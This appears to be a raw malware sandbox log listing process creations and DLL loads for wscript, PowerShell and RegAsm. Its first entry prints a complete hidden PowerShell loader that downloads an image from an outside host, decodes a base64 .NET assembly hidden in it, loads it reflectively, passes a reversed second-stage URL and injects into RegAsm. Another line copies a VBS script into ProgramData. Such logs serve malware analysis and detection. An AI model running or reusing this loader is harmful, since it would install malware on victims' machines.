Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: adsnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: adsnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
